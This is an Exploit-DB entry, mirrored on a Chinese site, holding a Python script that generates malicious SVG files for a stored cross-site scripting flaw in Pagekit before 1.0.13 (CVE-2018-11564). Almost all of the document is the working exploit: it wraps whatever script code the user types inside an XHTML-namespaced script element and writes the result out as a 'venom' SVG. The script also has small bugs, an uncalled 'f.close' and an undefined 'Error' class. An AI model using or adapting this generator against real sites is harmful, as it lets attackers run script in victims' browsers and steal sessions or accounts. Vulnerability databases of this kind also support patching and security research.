Pagekit < 1.0.13 - Cross-Site Scripting Code Generator - 体验盒子

作者： DEEPIN2

日期： 2018-06-05

类别：

webapps

平台：

php

来源：https://www.exploit-db.com/exploits/44837/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

# Title: Pagekit < 1.0.13 - Cross-Site Scripting Code Generator

# Author : DEEPIN2

# Date: 2018-06-05

# Vendor: Pagekit

# Sotware: https://pagekit.com/

# Version: < 1.0.13

# CVE: 2018-11564

# python3 required

def makesvg(name, code):

code = '<exploit:script xmlns:exploit="http://www.w3.org/1999/xhtml">' + code + '</exploit:script>'

f = open(name, 'w+')

f.write(code)

f.close

if __name__ == '__main__':

print('''

______ _______ ____ ________ _ ____ __ __

/ ___\ \ / / ____| |___ \ / _ \/ |( _ )/ / | ___| / /_ | || |

| |\ \ / /|_| _____ __) | | | | |/ _ \ _____| | |___ \| '_ \| || |_

| |___\ V / | |__|_____/ __/| |_| | | (_) |_____| | |___) | (_) |__ _|

\____|\_/|_____| |_____|\___/|_|\___/|_|_|____/ \___/ |_|

[*] Author : DEEPIN2(Junseo Lee)''')

print('[*] enter name without extension, ex) test.svg -> test')

filename = input('Filename : ') + '.svg'

print('[*] If you want to use alert(), type "alert("bla..bla..")"')

scriptcode = input('Script code : ')

try:

makesvg(filename, scriptcode)

print('[+] Successfully make venom file "%s"' %filename)

except Error as e:

print(e)